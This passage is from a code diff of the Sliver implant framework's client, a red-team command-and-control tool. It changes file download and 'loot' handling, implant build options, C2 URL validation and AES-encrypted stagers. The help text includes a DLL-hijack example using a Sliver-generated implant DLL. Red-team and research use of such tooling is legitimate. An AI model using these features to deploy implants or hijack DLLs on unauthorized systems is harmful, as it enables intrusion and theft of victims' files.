})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
@@ -415,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
+30 -2
View File
@@ -27,6 +27,7 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
return
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
if ctx.Flags.Bool("colorize-output") {
+66 -54
View File
@@ -24,41 +24,28 @@ import (
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
@@ -76,60 +63,85 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
}
+84
View File
@@ -0,0 +1,84 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
+4
View File
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+11 -1
View File
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+2 -8
View File
@@ -5,8 +5,6 @@ import (
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
+47 -2
View File
@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -303,6 +305,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -317,6 +326,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -331,6 +341,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -394,6 +406,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -415,17 +430,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -458,6 +476,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -487,6 +508,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -503,6 +527,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
@@ -516,6 +543,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -548,6 +590,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
+2 -2
View File
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
if err != nil {
return nil
}
for _, build := range builds.Configs {
if build.Name == name {
for sliverName, build := range builds.Configs {
if sliverName == name {
return build
}
}
+4
View File
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+4 -4
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadMacrosHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +657,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+45
View File
@@ -19,10 +19,14 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
+3 -2
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
for index, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
domains[index] += "."
}
}
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
+35
View File
@@ -26,6 +26,7 @@ import (
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -33,6 +34,8 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if aesEncrypt {
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+11 -7
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -41,12 +42,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillSession(session, ctx.Flags.Bool("force"), con)
err := KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
err := KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: force,
Force: ctx.Flags.Bool("force"),
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: force,
Force: ctx.Flags.Bool("force"),
})
return err
+5 -1
View File
@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
if loot.Name == loot.File.Name {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+5 -4
View File
@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
}
table.Flush()
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
// decoding error or control character - not a text file
return false
}
+207 -67
View File
@@ -19,9 +19,14 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"path"
"io"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
